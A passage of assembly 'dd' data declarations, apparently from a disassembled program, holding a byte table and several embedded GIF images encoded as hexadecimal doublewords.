dd 74747373h, 77777774h, 79787878h, 7A7A7979h, 7B7B7B7Ah
dd 7E7D7D7Dh, 7F7F7E7Eh, 8080807Fh, 82818181h, 84848282h
dd 85858584h, 88868686h, 89898888h, 8A8A8A89h, 8C8B8B8Bh
dd 8D8D8C8Ch, 8E8E8E8Dh, 908F8F8Fh, 91919090h, 92929291h
dd 95939393h, 96969595h, 97979796h, 99989898h, 9A9A9999h
dd 9B9B9B9Ah, 9D9C9C9Ch, 9E9E9D9Dh, 9F9F9F9Eh, 0A1A0A0A0h
dd 0A2A2A1A1h, 0A3A3A3A2h, 0A5A4A4A4h, 0A6A6A5A5h, 0A7A7A7A6h
dd 0AAA8A8A8h, 0ABABAAAAh, 0ACACACABh, 0AEADADADh, 0AFAFAEAEh
dd 0B0B0B0AFh, 0B2B1B1B1h, 0B3B3B2B2h, 0B4B4B4B3h, 0B6B5B5B5h
dd 0B7B7B6B6h, 0B8B8B8B7h, 0BAB9B9B9h, 0BBBBBABAh, 0BCBCBCBBh
dd 0BEBDBDBDh, 0BFBFBEBEh, 0C0C0C0BFh, 0C2C1C1C1h, 0C3C3C2C2h
dd 0C4C4C4C3h, 0C6C5C5C5h, 0C7C7C6C6h, 0C8C8C8C7h, 0CAC9C9C9h
dd 0CBCBCACAh, 0CCCCCCCBh, 0CECDCDCDh, 0CFCFCECEh, 0D0D0D0CFh
dd 0D2D1D1D1h, 0D3D3D2D2h, 0D4D4D4D3h, 0D6D5D5D5h, 0D7D7D6D6h
dd 0D8D8D8D7h, 0DAD9D9D9h, 0DBDBDADAh, 0DCDCDCDBh, 0DEDDDDDDh
dd 0DFDFDEDEh, 0E0E0E0DFh, 0E2E1E1E1h, 0E3E3E2E2h, 0E4E4E4E3h
dd 0E6E5E5E5h, 0E7E7E6E6h, 0E8E8E8E7h, 0EAE9E9E9h, 0EBEBEAEAh
dd 0ECECECEBh, 0EEEDEDEDh, 0EFEFEEEEh, 0F0F0F0EFh, 0F2F1F1F1h
dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h
dd 0FAF9F9F9h, 0FBFBFAFAh, 0FCFCFCFBh, 0FEFDFDFDh, 0FFFFFEFEh
dd 45h dup(0FFFFFFFFh), 4F921FFh, 0FF000A01h, 2C00h, 2C0000h
dd 800002Ch, 9FF00FEh, 0A0B0481Ch, 0B4572140h, 2571C8F4h
dd 1083140Ch, 98244A23h, 41A14EC4h, 0A9ACE280h, 0A05087D3h
dd 4A43132Dh, 9326E12Ch, 3E9B4B26h, 9E51A89h, 97442112h
dd 399C88ECh, 51A0C4F0h, 0FA6D369Ah, 90C8A5A3h, 393E8C30h
dd 5049C452h, 3D219A08h, 0C934F218h, 5181D12h, 44712423h
dd 3D261129h, 59A62748h, 1911E854h, 44F22489h, 4A29542Ah
dd 0B6198856h, 255479BCh, 8C3B0CE4h, 6B399CEAh, 480D4170h
dd 94883A69h, 8B8FA861h, 2E077405h, 10866150h, 165F9A0Dh
dd 5810D135h, 821A04E0h, 0F9A038CAh, 0F1A1122h, 0C0E5FF8Dh
dd 60C08B2h, 0F1002B9Ah, 8F399171h, 684933C5h, 0C833C932h
dd 7037E649h, 4211990Ah, 411E08F3h, 81C31B6Dh, 904C8823h
dd 650477DAh, 0E38D1E9h, 8063409Ch, 276234D0h, 81DA1650h
dd 2401BCE3h, 224D07E6h, 29167874h, 184FE6EEh, 0FE8B341Eh
dd 5B3F1CCh, 5F407709h, 21F4CF94h, 22168FA7h, 99D8C9BAh
dd 8EE68462h, 7CB47431h, 4D069B3Dh, 0A072351Ch, 7A1E4681h
dd 210801F4h, 89222885h, 0B2649725h, 0FC9C2749h, 91248861h
dd 220A3278h, 2912948h, 51684D0Fh, 0FC761AC6h, 8C228871h
dd 24C90238h, 89C27098h, 34A89F27h, 289428CAh, 481AC818h
dd 1240A05Dh, 791B867h, 1470671Ah, 24872108h, 982508C2h
dd 2822B838h, 78288A2h, 0B1045F10h, 353343C3h, 9D1F41E0h
dd 1E49725Ch, 771D46Eh, 0F2087F1Fh, 0E49882D2h, 0A127C9D4h
dd 0C874288h, 0C350E053h, 0F0453415h, 5C9E1E81h, 6F1E8962h
dd 1F0791D4h, 48520C80h, 0B4E66022h, 0D8769962h, 3A0E8530h
dd 5133480h, 8991CC1Ch, 0D1E09224h, 70781D06h, 919EC829h
dd 26E0D254h, 6482749Ch, 0E0E850A0h, 61341743h, 981B81B0h
dd 1E090244h, 0C771D06Eh, 88FC7F1Eh, 95FE2408h, 0A6261258h
dd 8361D52Ah, 1083B13h, 6C1A4D06h, 8E2546B0h, 1B476238h
dd 87A1D873h, 0F21E3F1Fh, 1A0C2508h, 361D29A9h, 1143B134h
dd 0C1D4D062h, 0B2486706h, 146C5C48h, 8381879Bh, 0AC493B28h
dd 47398EB3h, 90F44C0Dh, 9D3418C4h, 8816C1E0h, 1C08420Ch
dd 711B868h, 11F47BA4h, 988D2248h, 0CC24C928h, 0D870262h
dd 4521104Ah, 10B9341Ah, 0EC7F14C2h, 641A87C1h, 0AAAF61A8h
dd 0C894BE05h, 23C8DB6h, 0D86E2489h, 6A128470h, 90324D1h
dd 4791EC52h, 9188691Eh, 14701B46h, 821EC78Bh, 0C6241218h
dd 71E1B71Ah, 41BC5E13h, 38260D13h, 68CFC761h, 1A866180h
dd 8731C46Dh, 7216079Dh, 90892208h, 361AC8D8h, 1804F120h
dd 394D070h, 21C44F0Bh, 7C651CC7h, 6B1A0641h, 1DC73D14h
dd 8859EAC8h, 922F4C21h, 8852D446h, 357D8781h, 1B46D140h
dd 85D1886Fh, 0C1A46618h, 711BFEC6h, 2025C1D4h, 367BC881h
dd 5D446722h, 0D06C1A85h, 520F4304h, 1AC691A0h, 0C6016C5Eh
dd 61B34318h, 0FC7EA46Fh, 3F208801h, 1278521Ah, 0D501E05Bh
dd 4118284Ch, 98651885h, 5E1605C1h, 0E5464184h, 2041D86Fh
dd 1E647D1Fh, 2C371978h, 1B1F4601h, 1382D4D0h, 86017455h
dd 0B15C5918h, 0E7931785h, 7896ADDDh, 0E670E1E8h, 4C0DC63h
dd 40807F19h, 50550C53h, 5B168561h, 42453150h, 46418BC2h
dd 41C8701Ah, 0DC761D47h, 601EBCD1h, 1A04B0D4h, 0C374D146h
dd 0D1605E19h, 1C56FD45h, 0A918C61Fh, 0D6C6F1A7h, 0F35F4874h
dd 1C0630F8h, 8C0E6140h, 204D0110h, 69E28550h, 1BC80B81h
dd 668819C3h, 6E743BB4h, 60C88769h, 6D0F621h, 1062103Bh
dd 9A012h, 1802002h, 600A010h, 12020038h, 3C0600A0h, 10190260h
dd 504C0981h, 8C1282h, 80D01E04h, 81202A05h, 33204409h
dd 0A20C4009h, 0C4488710h, 3B000080h, 38464947h, 2F6139h
dd 0FFE7002Eh, 2C030100h, 2280500h, 6003705h, 3D06013Ch
dd 370700h, 0A004307h, 300B0543h, 4B0A00h, 0B03520Ah, 4B0C0047h
dd 45A0A02h, 0C054E0Dh, 5A0D0055h, 4D0F00h, 0F00620Eh
dd 4A0F075Ch, 5D0D08h, 12006510h, 600F0E52h, 24E120Dh
dd 16066813h, 51141257h, 0A4B1511h, 1A005F17h, 54190C60h
dd 0F5C1D01h, 1C105C1Ah, 641E0551h, 15591D13h, 1D16601Dh
dd 61210B66h, 1875200Eh, 210F5D20h, 681F196Fh, 126A2311h
dd 25126524h, 68271760h, 1C632817h, 2B1C6C2Ah, 732A1E67h
dd 28692D1Eh, 2C207429h, 73311A6Fh, 236D321Ah, 32246D30h
dd 71351E69h, 2A783621h, 38227834h, 7A382474h, 286F382Bh
dd 3D27793Ch, 743C3073h, 2C7D402Dh, 40297841h, 9E402B96h
dd 32814239h, 44378244h, 7E463377h, 36964338h, 48338647h
dd 884B3099h, 397C493Ch, 4C39884Ah, 804E3984h, 359F4D39h
dd 4D468851h, 85533E8Fh, 3F9D523Dh, 593C8654h, 0A1554178h
dd 3E8A5743h, 58469159h, 935A4092h, 45A55A3Ch, 5A4BA458h
dd 8E5B4788h, 49A45D49h, 5C5A8D60h, 0A7604C94h, 4E91644Eh
dd 6648A963h, 956852ABh, 5EA96852h, 6C579F69h, 0AD6C569Bh
dd 5D9D6F59h, 6D65A96Dh, 0A0715C98h, 5BB1705Ah, 725D9B74h
dd 0AF7363B4h, 72A47467h, 8673A67Ah, 0BE9966AAh, 6EC39868h
dd 9B5EBE98h, 0C09B68D2h, 66C19A71h, 9E71CE9Dh, 0D09F68BEh
dd 62D1A06Ah, 0A16BD3A3h, 0C2A274D2h, 6CD5A36Dh, 0A66DD0A5h
dd 0BE9D95D1h, 7DD2A76Eh, 0A970C0A6h, 0D5AA71D4h, 81D6AB72h
dd 0AC73C3A9h, 0D4B073D8h, 7CD3AE7Bh, 0B07DD5AFh, 0D7B17ED6h
dd 80C5B08Ch, 0B57ED8B3h, 0D4B486D4h, 88D6B780h, 0B494D6B5h
dd 0D7B882C3h, 83C4B39Ch, 0B98BD9BAh, 0DABB84D9h, 86C8B899h
dd 0BC8BDBBCh, 0DCBC8ED6h, 0A2C4B8A5h, 0BE8DCBB9h, 0D8BD95D8h
dd 8FD9BF8Eh, 0BCA9DAC1h, 0DBC097C8h, 91B7BAB8h, 0BBB9DCC3h
dd 0DDC492B8h, 9AD8C498h, 0BDBBDEC3h, 0CEC2AEBAh, 9BDAC5A1h
dd 0C6A2DBC7h, 0CAC4B4DCh, 9DBFC2C0h, 0C8A4DECAh, 0E0CAA6DEh
dd 0ADDACCA3h, 0CBABE0C9h, 0C3C6C4DBh, 0BFDCCCACh, 0CABAD0C8h
dd 0D2CBBBD0h, 0C7DECEAEh, 0CCBCC6C9h, 0DECDB5D3h, 0C6E1D0B0h
dd 0CFB7CECCh, 0E2D2B2E1h, 0B3E3D1B9h, 0D1BDE3D3h, 0DDD3B7DDh
dd 0B8CBCFCDh, 0D5B9DED4h, 0E0D4C0DFh, 0C1E0D6BAh, 0D7BBE2D5h
dd 0E3D9BCE2h, 0D3E3D7C3h, 0DABED2D5h, 0E5D9C4E5h, 0C9E0DBC2h
dd 0D7D9E0DAh, 0E2DDC4DBh, 0D8DBD9D4h, 0DDCCD6DAh, 0E3DFC6E3h
dd 0CFD8D9DEh, 0DED9E6DFh, 0E8E1D1E1h, 0D5DCE0DEh, 0DFE1E3E2h
dd 0E3E1DCE3h, 0E2E7E4DFh, 0EAE5EAE8h, 0E7EAE8EDh, 0F1EEF2F0h
dd 0F4F2F0F3h, 0F3F7F4F1h, 0F9F7F8FEh, 0FCFAF8FBh, 0FAFDFBF9h
dd 0FDFBFCFFh, 0FFFFFCFFh, 4F921FFh, 0FF000A01h, 2C00h
dd 2F0000h, 800002Eh, 9FF00FEh, 0D630381Ch, 110659ACh
dd 0D0983C1Eh, 0BD5EADE0h, 0D6F32988h, 8BBD5E8Eh, 0DC11DAF6h
dd 0B56051C8h, 0DDECF67Ah, 0E492490Bh, 0F0F89045h, 6FC7D3E9h
dd 3095BEDFh, 0F99C75CDh, 7F3E162Fh, 6BEE7330h, 4F678FC9h
dd 0CA833997h, 8E71C9A4h, 9348A3BFh, 3487ED26h, 2F7CCF5Fh
dd 97D3E661h, 14C7288Eh, 2B8DD68Ch, 0BC1C6E37h, 0C6C2F077h
dd 9E4F1B1Bh, 0E6F2B3D9h, 0CF3B5DA9h, 1A8DD599h, 0E3395C6Ch
dd 391E8F26h, 0DB1D8CB8h, 0DFAFAC8Bh, 0AF6CB65h, 18D84636h
dd 2504B7AFh, 0E491A060h, 773D9BCBh, 0E763B9B2h, 0C9E5B2AEh
dd 5669D4ECh, 6773AE77h, 2152F171h, 0C2412816h, 0BC4E1F0Ah
dd 0D03C1D8h, 0B074385Dh, 1D76C1CFh, 6D375C0Eh, 8EE9B1B7h
dd 0ABDC4CC6h, 0AF4AFFD1h, 8C052200h, 0C2D03B9Dh, 0BB3D9EBDh
dd 0DADBB776h, 16BB61B4h, 70331A6Dh, 1E2B47BFh, 1D0C850Eh
dd 0FE94E0E4h, 8E1DA72Fh, 0D96D73DBh, 0F6A34DAEh, 6EB3198Ch
dd 270B11D9h, 9D4EC64Eh, 7FF2DC66h, 3F2DFF13h, 58D9F437h
dd 0CC350D43h, 330D0340h, 0DC02A8DAh, 778527Ch, 64DC3247h
dd 0D984DFE3h, 358D67A4h, 4D0818CFh, 830CCC33h, 99DA828Dh
dd 701D9F46h, 89CD7314h, 8D78A615h, 0A348D285h, 0CC53261h
dd 2034CBF3h, 836227CAh, 8C31C074h, 7358D235h, 521789E2h
dd 0CD81A2E3h, 314C5334h, 0BF300C0h, 282CA533h, 0B4717762h
dd 3868C31h, 9124380Eh, 0E4A91E30h, 0E930B92Fh, 460D70E4h
dd 0C991CBA9h, 9161A334h, 0E48964CDh, 62E4B996h, 7CA130CBh
dd 6D1BDF49h, 2E8B52B8h, 0CC12F8BAh, 39A8C530h, 0B66C30CCh
dd 7130A6E9h, 191DC886h, 4B21AC6Fh, 8A368C2Dh, 72802FA7h
dd 0B69B6829h, 2FCB02D8h, 0E0D9C89Fh, 42B86A1Bh, 0C8B22D0Bh
dd 9F2D4B42h, 0A4CB62CAh, 0B0A5A6Eh, 92E4AC2Ch, 2DFE9389h
dd 0A204E0F4h, 0CAE2AC68h, 1A96A2ADh, 0C0AE2CAAh, 0ACAB2AA2h
dd 2D8A32B0h, 1576AAFh, 0D1283D0Bh, 9C681B05h, 0BB2BAB72h
dd 2B4AEAE2h, 8AD2ACABh, 82ACAC2Bh, 88A6298Ah, 88B14B02h
dd 9C13055h, 45A12838h, 6B56CD1Ah, 52EC2B6Dh, 0F029ED5Bh
dd 298A729Ah, 8A0288A3h, 248A827h, 9010035Ch, 6615845Bh
dd 0BC0A3194h, 0ABBA8A7h, 0D28EF1C1h, 6C9EBDEDh, 0FA2889A2h
dd 92FC68Eh, 0C5310837h, 32886518h, 0D304C22Fh, 0F7C7CA2Bh
dd 2570EBDEh, 0EFB2389Eh, 20C81E03h, 885D1304h, 1FC7CA01h
dd 0CCCA3BD3h, 0B2128330h, 52549AC3h, 8F262689h, 1F028106h
dd 1303F0C0h, 0B361845Ah, 7C8330CDh, 6B2227B4h, 9ACEB392h
dd 29C0220h, 2E0780Ah, 0C150460Fh, 749E26C5h, 4CCDB47Dh
dd 0CE09BCDBh, 4932574Fh, 0A68F5225h, 0B81B0240h, 511103A0h
dd 0D8C9A170h, 363D2F61h, 3CEB3AD9h, 83D9FEC9h, 0A36CD4Ch
dd 4B10435h, 6D3B3B17h, 0E786E1F8h, 8F24F7ADh, 0DF88024Ch
dd 330A017h, 8E2859D6h, 0EF79E2B8h, 8F23F7BDh, 70081240h
dd 41703009h, 30E43108h, 0A7981544h, 90DEF99Eh, 2379C240h
dd 5A3E3C8Fh, 440602h, 4330BC2h, 67D9C551h, 0EAC94DE7h
dd 0FAEEBB9Ah, 0F23C8B22h, 83B5ECF9h, 3B0C42A0h, 0E6890154h
dd 3C2F47D0h, 0BF108D24h, 0F08B21C8h, 6019C01h, 941C02Ch
dd 39C13FB8h, 4F97ADE7h, 13D5EBBEh, 872288AFh, 1F887218h
dd 7DD001C0h, 0F0C7CA06h, 348FEC04h, 0F9F9BD42h, 0FB3E922Fh
dd 843BEDh, 18878Fh, 1400C010h, 540840E0h, 39EB04D0h, 3EB81F0h
dd 2804FBA0h, 0F0104388h, 0C020012Dh, 81901601h, 9A0940Dh
dd 4600087h, 12C027D7h, 8482621Ah, 0FE208420h, 5A0B8820h
dd 20030025h, 702802C0h, 611C1001h, 21CC2582h, 42A8050Eh
dd 8590AC41h, 0E007D5Eh, 80300402h, 2E039EEh, 21214C37h
dd 25887872h, 3F87D0F6h, 51483FCh, 8CD1C411h, 380503A0h
dd 701C0460h, 912E2704h, 62842989h, 7F8A514h, 1FE7020Bh
dd 9813022h, 13827048h, 0D111A120h, 0C6E3238Bh, 6DC6C747h
dd 0CC788CE1h, 0C8F71EA3h, 0F1FA3EC7h, 0E40C808Fh, 2025Bh
dd 3Bh, 38464947h, 2836139h, 2A1001Eh, 0CAD4EA00h, 0FFD9D9D9h
dd 0FFFFFFFFh, 4F921FFh, 2000A01h, 2C00h, 2830000h, 200001Eh
dd 0A90254BBh, 0A30FEDCBh, 8BDAB49Ch, 0FBBCDEB3h, 48E2860Fh
dd 0A689E696h, 0EB0873AAh, 4CF2C70Bh, 0E78DF6D7h, 0FC23AEFAh
dd 870A0C0Fh, 88F1A2C4h, 0CC92F954h, 8D09F3A6h, 0AAD4A74Ah
dd 6ACD8AF5h, 0F7AEDCB7h, 0C78B0E0Bh, 8CF9B2E4h, 0ECD7AB4Eh
dd 8F0DFBB6h, 0BAF4E7CBh, 0EBCF8EFDh, 0FFBEFCF7h, 3828180Fh
dd 78685848h, 0B8A89888h, 0F8E8D8C8h, 39291908h, 79695949h
dd 0B9A99989h, 0F9E9D9C9h, 3A2A1A09h, 7A6A5A4Ah, 0BAAA9A8Ah
dd 0FAEADACAh, 3B2B1B0Ah, 7B6B5B4Bh, 0BBAB9B8Bh, 0FBEBDBCBh
dd 3C2C1C0Bh, 7C6C5C4Ch, 0BC84B43Ch, 0DCA5BCCCh, 152D1D0Ch
dd 7D6D2060h, 5D448Dh, 3B00h, 0
dd 38464947h, 21D6137h, 0FBE700F4h, 10000h, 1000200h, 4000004h
dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h
dd 100A110Fh, 13110C12h, 0D14120Dh, 160F1B15h, 1F1B0D1Ch
dd 0F201B0Eh, 1D10211Ch, 26211322h, 192A2518h, 28162C27h
dd 352C1A31h, 21372E1Ch, 39273C33h, 453B2A42h, 2C57492Bh
dd 4C2E584Ah, 6053345Ah, 366B5835h, 5A376C59h, 705D396Dh
dd 39776538h, 673A7866h, 7A693C79h, 3F7C6A3Eh, 6D407E6Ch
dd 806E417Fh, 43816F42h, 72458270h, 8A734084h, 478B7441h
dd 75428674h, 8D76448Ch, 468E7745h, 79478F78h, 927B4990h
dd 4B937C4Ah, 7E4C947Dh, 97804E95h, 5098814Fh, 83519A82h
dd 9C84529Bh, 339D8553h, 8654CA8Ah, 9F87559Eh, 91677C90h
dd 8958687Dh, 0BC8F3FA1h, 3ECB8758h, 8C54B891h, 0A58D5BAAh
dd 72A68F54h, 8A569988h, 9A8973DBh, 59AE924Fh, 8C58AE90h
dd 0AF915ADDh, 42FF9140h, 9553FF92h, 0B2945DB1h, 78B39755h
dd 92519F8Fh, 0B49856FEh, 79A79468h, 9646A090h, 0FF9352FFh
dd 5BB59958h, 9C5ABC99h, 0B0937BB8h, 54F59853h, 9D5CF699h
dd 0A6957EB9h, 78FD9857h, 9E5DA797h, 0A7967FBAh, 81BC9F5Eh
dd 9B5AA998h, 0FF9E50FFh, 5BBEA160h, 9982FF9Ch, 0C8997CAAh
dd 66E89C69h, 0A270FC9Ch, 0AE9B8CBAh, 8DFFA15Fh, 0A260AF9Ch
dd 0FCA36AFFh, 6DD7A27Fh, 0A965FEA5h, 0FFA76FFFh, 66C9A97Bh
dd 0A96FFFAAh, 0FEAB71FCh, 75C1AF7Ah, 0ADA1FFAEh, 0CDAD9EBAh
dd 98FFB180h, 0AEA3CEB0h, 0B7AFA7C8h, 92FFB382h, 0BA6FDCB3h
dd 0C5B78FFEh, 89DDB493h, 0B594FDB4h, 0FEB58BDEh, 83C1B3A8h
dd 0B68CFFB8h, 0FFB984FFh, 86FFB78Dh, 0BC8EFFBAh, 0FEBA96FEh
dd 91C3BBB2h, 0BCB3FFBFh, 0FDC199C4h, 9BE6C1A5h, 0C49DFFC3h
dd 0FCC5A3FFh, 0A4F7C7A2h, 0C6A9FDC6h, 0FFC8A6F7h, 9FFFCAA8h
dd 0CAADFDCEh, 0FDCDA7FCh, 0AFFDCBAEh, 0CFA9FECCh, 0FFCDB0FFh
dd 0B3FFCEB1h, 0D0B8FFCFh, 0FFD4B3FCh, 0B4FFD2BAh, 0D6B6FFD5h
dd 0FBD4C1FFh, 0C2FCD7BBh, 0D8BCFCD5h, 0FDD6C3FDh, 0C4FED9BDh
dd 0DBBAFED7h, 0FFDCB7F8h, 0C6F9DAC2h, 0DACBFFDAh, 0FDDEC6FCh
dd 0C6F9E1C5h, 0E3C7FAE2h, 0FBE2CEFBh, 0D4FDE5C9h, 0E7CFF8E3h
dd 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h, 0EAE9E6E1h
dd 0E5E1E3E4h, 0DDE4EDF5h, 0E2EAE7E2h, 0E8DCF6E6h, 0EBE8E3F6h
dd 0E4F7E7E3h, 0E8E4ECE9h, 0FAECE0F8h, 0EAF4EAE9h, 0EDE4F6EBh
dd 0EFEDE7F5h, 0E5FDF0DCh, 0EEE9F7EEh, 0F2EFEAF0h, 0E4F9F0E8h
dd 0F3DFFFF1h, 0F3F1ECFFh, 0F0FAF2E9h, 0F3EEFBF1h, 0F7F5EFF6h
dd 0F2F8F6F0h, 0F6F9F9F7h, 0FBF8F3FBh, 0F4FCF7FAh, 0F8FBFCF9h
dd 0FDFAF5FDh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h
dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
dd 21D0000h, 80000F4h, 88100FEh, 20B0481Ch, 964025C1h
dd 0B0C2912Ch, 588643A1h, 489C4A22h, 8B98A231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 514A730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 90588851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30C4588h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B38C9Eh, 8E38D631h, 38C6469Dh, 0BDE42AB9h
dd 0D18B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E52B0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 4006018h, 1C605816h, 42078C01h, 0D6FA096Eh, 440500C2h
dd 1484E021h, 85E16856h, 60D79618h, 0D7821B6Dh, 0B4037161h
dd 248646B0h, 89E26896h, 0E1F7FE28h, 18B1DE87h, 0C6298B9Ch
dd 348CE328h, 8ADC98D6h, 40103423h, 0F0059088h, 40140202h
dd 304C326h, 6D82F044h, 80304423h, 81341A01h, 6DB681E0h
dd 0F0AC018h, 93C2D8ECh, 42D64204h, 69180104h, 866097E3h
dd 2B856629h, 1C443052h, 41B8F60Fh, 0B1C43D18h, 9C340283h
dd 3A030371h, 5C21640h, 4541B447h, 0C8F41807h, 1C168720h
dd 7E00E681h, 2831642h, 83419C35h, 0E98C3802h, 4690A3E8h
dd 3C8ADEBAh, 9B63D870h, 42706990h, 68286Dh, 0D44403D9h
dd 85014676h, 0A62526DEh, 15A9608h, 9099B50Ah, 0B0FEA481h
dd 0ACEB2AC6h, 867A9A2Fh, 0ADE08A5h, 0D4590259h, 0B5024596h
dd 0D035185h, 6A59701Fh, 588E1C94h, 5C0386E8h, 815DB51h
dd 0B4ED2AD0h, 22BA3ED4h, 6872A9B2h, 0E4719660h, 1C04C080h
dd 8343D08Ch, 0AD894A2Eh, 0D6D46D94h, 0B6D58C06h, 14BBEEEBh
dd 876B8B5Eh, 9B91840Dh, 4AF82A04h, 0EEC79FEEh, 0CE02190Bh
dd 0B4454642h, 0F06C16F0h, 0BBC9FBC1h, 0B01B6DACh, 1310590Ah
dd 1C6BA8F4h, 2A6BF82Ah, 96430BAEh, 9590A6C1h, 20C227D0h
dd 0A4F22C87h, 5B6BCF17h, 70C00B0Fh, 38141006h, 6107817Ch
dd 2428184h, 430220Dh, 9B672513h, 28361C71h, 351AC360h
dd 0C8C36024h, 746D1744h, 0FB670A75h, 36440C61h, 4C6D4240h
dd 5E10060h, 8228342Fh, 0AB62A401h, 0B1B6D2B3h, 2E914100h
dd 0D8F62D1Ch, 0F66D9764h, 0ADA768D9h, 0B76CDAF6h, 70DBF6EDh
dd 0DCF72DC7h, 0F76DD774h, 0ADE778DDh, 7CDEFEF7h, 5795ED8Bh
dd 0F82E05D9h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h
dd 9D5DFDD8h, 65016757h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h
dd 0FA2E87A0h, 6E97A4E8h, 0A7A8E9FAh, 0ACEAFAAEh, 57543E73h
dd 0C52189D1h, 6ED43C40h, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h
dd 0FC2F07C0h, 6F17C4F0h, 27C8F1FCh, 0CCF2FCAFh, 0F3FCEF37h
dd 0BD2F47D0h, 814903F0h, 15E725Ch, 0F93F0FC1h, 0F7CF63E4h
dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 0ECFAFEAFh, 0FBFEEFB7h
dd 0FF2FC7F0h, 6FD7F4FCh, 0E7F8FDFFh, 0FCFEFFAFh, 0F6FDDFABh
dd 0F61D8040h, 7A3DC766h, 81E43D0h, 1702A04Ch, 3A06C0C8h
dd 8C1081F0h, 482704A0h, 0F05A0AC1h, 0A0CC1882h, 0C1C83706h
dd 83F07A0Eh, 8A10C20h, 12C24847h, 0F980D04Eh, 0AC1007E0h
dd 20311CA7h, 84071F24h, 48670C87h, 0F0DA1AC3h, 0A1CC3886h
dd 0C3C8770Eh, 87F0FA1Eh, 0A20C40FEh, 0C4488710h, 88F11A22h
dd 12A24C48h, 26C4C897h, 3F89F13Ah, 0F23D0794h, 15EB9091h
dd 0E04B0B07h, 61E10C01h, 0F17A2EC2h, 0A30C608Bh, 0C648C718h
dd 8CF19A32h, 3C20BC68h, 2583C8A6h, 58394160h, 0EC0F0200h
dd 0A62E0F21h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 0A2E4158Fh
dd 4010783Dh, 8E91CA38h, 22A40476h, 46C8C917h, 9091F23Ah
dd 920A32Ch, 0C4E4C6F9h, 8C758E71h, 0C93726A4h, 0F27A4EC9h
dd 649C7A93h, 0C8792D21h, 94F2824Ch, 2AA54CA8h, 514AB957h
dd 9738D256h, 672B2444h, 0DA5ACB49h, 746496F2h, 993121A5h
dd 0F2FA5C48h, 0A60CC097h, 0C8393330h, 94B2C251h, 32A61CBDh
dd 66CCC997h, 0A497522Eh, 0A733A5E4h, 5A6ACD49h, 3CD08C13h
dd 0C9AF34A6h, 0F37A6ECDh, 0E6CC109Bh, 0CE099115h, 9CF39A72h
dd 712714CEh
dd 744A6962h, 0F09DF3BAh, 8A3CA56Ch, 6E71CAF9h, 0FEF89E33h
dd 1B3EA7CCh, 0B0E0CEA9h, 0CFB9933h, 9A0740A8h, 725279CBh
dd 0A824B297h, 50CA1742h, 3813F611h, 44A86CFFh, 9D14A27h
dd 1137F43Eh, 3746A8ADh, 0FA8BD14Ah, 0D1CA326h, 0EA0348A9h
dd 7480DED1h, 0E94D28A4h, 9BAA4B39h, 0A5F4AA93h, 4B26AD30h
dd 98D2E373h, 0C1A6F4DAh, 6A6E299Ch, 0FA9ED38Ah, 0BD3A9594h
dd 4A7F4F0Dh, 3272A2D4h, 0AA19B6A8h, 54CA9751h, 36B52245h
dd 54AA6D4Ah, 0A7C77AA7h, 54AA2642h, 0B156AACDh, 0DA635069h
dd 0D5BA133h, 68BF58ABh, 756038D5h, 0AB4D68ACh, 0CF5ABB1Ah
dd 0AD539275h, 62B8D70h, 0B9567ACBh, 74AE55DAh, 0F75DEB7Dh
dd 0E60457CAh, 0D7D9EF5h, 0AFF5C6Ch, 161AC156h, 0E76D84ADh
dd 0D5BB1761h, 0B19402C4h, 63AA6590h, 0A9594B23h, 98B2B64Eh
dd 3365EA2Dh, 6E9C59CBh, 7DA0B3B6h, 4B4367E9h, 0B68E915Ah
dd 0E8ADA8B4h, 5ACB5369h, 0B5B6AE86h, 0E8FE15B0h, 5B4B636Bh
dd 0B6B6CE7Ch, 6DE745B8h, 6FDBCB73h, 0C0B7B6EEh, 836FE6B5h
dd 0E66DC4Bh, 15C8B8B7h, 0CB9371E6h, 0B72E5C5Ch, 0E59DD0B9h
dd 5D4BA373h, 0BAB74E54h, 75E4EDD8h, 485DCBB3h, 0E0BBB76Eh
dd 115B267Dh, 9AF0D8AAh, 3DDF93D7h, 98F37AAFh, 0F7BAF5DEh
dd 0AF7DED8Ch, 0DF18C57Ch, 8BB7DAF9h, 7EAFBDF5h, 68DE3A1Dh
dd 0BF7616h, 37E6346h, 0E0CE04Ch, 0A608C0B8h, 0CC1381E0h
dd 0B82E07E0h, 0E05610C1h, 0E11C2383h, 0C1B85309h, 8270BE16h
dd 2E1AC33h, 1C3B873h, 0F78830FEh, 0DF11E22Bh, 9E26C4B7h
dd 0FC538A2Fh, 78B315DEh, 0F17E2EBDh, 0E32C6379h, 0C6B8D2F0h
dd 8E31BDDDh, 1DE3ABB3h, 3EC7B757h, 83902E8Eh, 1321DCDCh
